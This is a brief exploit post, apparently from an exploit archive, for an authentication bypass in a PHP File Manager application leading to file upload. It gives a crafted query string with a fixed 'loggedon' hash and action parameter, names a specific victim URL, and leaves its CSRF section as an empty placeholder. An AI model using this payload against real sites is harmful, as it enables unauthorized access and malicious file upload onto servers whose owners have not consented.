PHP File Manager Bypass File Upload with CSRF

PHP File Manager Bypass File Upload with CSRF

# Tittle : PHP File Manager Bypass File Upload with CSRF
# Exploit : ?blockKeys[]=&fm_self=FOOO&loggedon=d41d8cd98f00b204e9800998ecf8427e&action=10

Victim http://dev1.tigerweb.dk/index.php?blockKeys[]=&fm_self=FOOO&loggedon=d41d8cd98f00b204e9800998ecf8427e&action=10

CSRF : HERE